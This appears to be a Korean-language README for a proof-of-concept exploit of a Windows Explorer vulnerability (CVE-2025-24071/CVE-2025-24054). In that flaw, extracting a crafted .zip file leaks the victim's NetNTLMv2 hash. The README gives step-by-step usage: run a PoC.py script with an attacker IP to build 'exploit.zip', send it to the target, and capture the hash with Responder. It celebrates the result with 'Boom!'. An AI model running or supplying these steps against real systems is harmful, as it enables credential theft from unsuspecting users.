CVE-2025-24071 / CVE-2025-24054 PoC

수정: 마이크로소프트가 CVE-2025-24071을 CVE-2025-24054로 이름 변경 🤔

개요

이 Windows 취약점은 특히 'explorer.exe'에서 발생하며, 공격자가 .zip 파일을 추출하도록 하는 것만으로 피해자로부터 NetNTLMv2 해시를 얻을 수 있습니다.

사용법

• 스크립트 실행

python PoC.py test 192.168.1.45

• "exploit.zip"을 대상에게 전송한 후, Responder를 사용하여 NTLMv2 해시를 수신할 수 있습니다.

sudo python3 responder.py -I ens33

• 이제 대상이 .zip 파일을 추출하면, Boom! NTLM 해시를 얻습니다.